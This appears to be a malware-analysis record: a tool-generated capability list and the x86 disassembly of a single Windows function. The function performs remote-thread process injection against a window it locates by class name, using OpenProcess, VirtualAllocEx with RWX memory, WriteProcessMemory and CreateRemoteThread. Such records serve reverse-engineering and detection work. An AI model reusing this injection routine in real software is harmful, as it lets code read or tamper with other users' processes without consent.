Function at 0x49613c
Capabilities:
Allocate or change rwx memory
Check for unmoving mouse cursor
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
xor edx, edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x49667a
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
call sub.user32.dll_GetCursorPos
push 0x49668c
push 0
call sub.user32.dll_FindWindowA
push 0
push 0x496694
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push 0x4966a0
push 0
push eax
call sub.user32.dll_FindWindowExA
mov ebx, eax
test ebx, ebx
je 0x49665f
lea eax, [ebp - 0x18]
push eax
push ebx
call sub.user32.dll_GetWindowThreadProcessId
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [ebp - 0x18]
je 0x49665f
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x49638c
xor eax, eax
push ebp
push 0x496385
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x1000
push 0xa08
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x49636e
xor eax, eax
push ebp
push 0x496367
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [eax + 0xc], ebx
mov eax, dword [ebp - 4]
add eax, 0x214
xor ecx, ecx
mov edx, 0x800
call fcn.00403038
lea eax, [ebp - 0x20]
push eax
push 0xa08
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x24]
push eax
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x1c]
add eax, 8
push eax
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov ebx, eax
test ebx, ebx
jne 0x496289
call fcn.00403fbc
call fcn.00403fbc
jmp 0x49665f
push 0xffffffffffffffff
push ebx
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0x20]
push eax
push 0xa08
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ReadProcessMemory
lea eax, [ebp - 0x28]
push eax
push ebx
call sub.kernel32.dll_GetExitCodeThread
lea eax, [ebp - 0x2c]
mov edx, dword [ebp - 4]
add edx, 0x214
mov ecx, 0x800
call fcn.004047c8
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0xa18]
call fcn.00404964
je 0x496345
mov eax, 0x49c0d4
mov edx, dword [ebp - 4]
add edx, 0x214
mov ecx, 0x800
call fcn.004047c8
cmp dword [0x49c0d4], 0
je 0x496345
mov eax, dword [0x49a614]
mov eax, dword [eax]
mov eax, dword [eax + 0x2f8]
mov edx, dword [eax]
call dword [edx + 0xe0]
lea eax, [ebp - 0x30]
mov ecx, dword [0x49c0d4]
mov edx, 0x4966b0
call fcn.00404864
mov edx, dword [ebp - 0x30]
mov eax, dword [0x49a614]
mov eax, dword [eax]
mov eax, dword [eax + 0x2f8]
mov eax, dword [eax + 0x220]
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49636e
push 0x8000
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_VirtualFreeEx
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49638c
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
call sub.user32.dll_GetCursorPos
push 0x49668c
push 0
call sub.user32.dll_FindWindowA
push 0
push 0x4966a0
push 0
push eax
call sub.user32.dll_FindWindowExA
mov ebx, eax
test ebx, ebx
je 0x49665f
lea eax, [ebp - 0x18]
push eax
push ebx
call sub.user32.dll_GetWindowThreadProcessId
call sub.kernel32.dll_GetCurrentProcessId
cmp eax, dword [ebp - 0x18]
je 0x49665f
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x49665f
xor edx, edx
push ebp
push 0x496658
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x40
push 0x1000
push 0xa08
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x496641
xor edx, edx
push ebp
push 0x49663a
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
mov dword [eax + 0xc], ebx
mov eax, dword [ebp - 4]
add eax, 0x214
xor ecx, ecx
mov edx, 0x800
call fcn.00403038
lea eax, [ebp - 0x20]
push eax
push 0xa08
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x24]
push eax
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x1c]
add eax, 8
push eax
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov ebx, eax
test ebx, ebx
jne 0x49649e
call fcn.00403fbc
call fcn.00403fbc
jmp 0x49665f
push 0xffffffffffffffff
push ebx
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0x20]
push eax
push 0xa08
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ReadProcessMemory
lea eax, [ebp - 0x28]
push eax
push ebx
call sub.kernel32.dll_GetExitCodeThread
lea eax, [ebp - 0x34]
mov edx, dword [ebp - 4]
add edx, 0x214
mov ecx, 0x800
call fcn.004047c8
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0xa18]
call fcn.00404964
je 0x496618
mov eax, 0x49c0d8
mov edx, dword [ebp - 4]
add edx, 0x214
mov ecx, 0x800
call fcn.004047c8
cmp dword [0x49c0d8], 0
je 0x496553
mov eax, dword [ebp - 4]
mov byte [eax + 0xa28], 1
lea eax, [ebp - 0x38]
mov ecx, dword [0x49c0d8]
mov edx, 0x4966c0
call fcn.00404864
mov edx, dword [ebp - 0x38]
mov eax, dword [0x49a614]
mov eax, dword [eax]
mov eax, dword [eax + 0x2f8]
mov eax, dword [eax + 0x220]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [0x49c0d8]
call fcn.00404818
cmp eax, 3
jle 0x496601
mov eax, dword [0x49c0dc]
mov edx, dword [0x49c0d8]
call fcn.00404964
jne 0x496601
inc dword [0x49a060]
cmp dword [0x49a060], 0x46
jle 0x496608
push 0x4966d0
push dword [0x49c0d8]
push 0x4966dc
lea eax, [ebp - 0x3c]
mov edx, 3
call fcn.004048d8
mov eax, dword [ebp - 0x3c]
call fcn.00409028
test al, al
jne 0x496608
push 0x4966d0
push dword [0x49c0d8]
push 0x4966dc
lea eax, [ebp - 0x40]
mov edx, 3
call fcn.004048d8
mov edx, dword [ebp - 0x40]
mov eax, dword [0x49a614]
mov eax, dword [eax]
mov eax, dword [eax + 0x2f8]
mov eax, dword [eax + 0x220]
mov ecx, dword [eax]
call dword [ecx + 0x74]
mov dl, 1
mov eax, dword [0x4959b8]
call fcn.00495a18
xor eax, eax
mov dword [0x49a060], eax
jmp 0x496608
xor eax, eax
mov dword [0x49a060], eax
mov eax, 0x49c0dc
mov edx, dword [0x49c0d8]
call fcn.004045ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496641
push 0x8000
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_VirtualFreeEx
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49665f
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496681
lea eax, [ebp - 0x40]
mov edx, 6
call fcn.0040457c
ret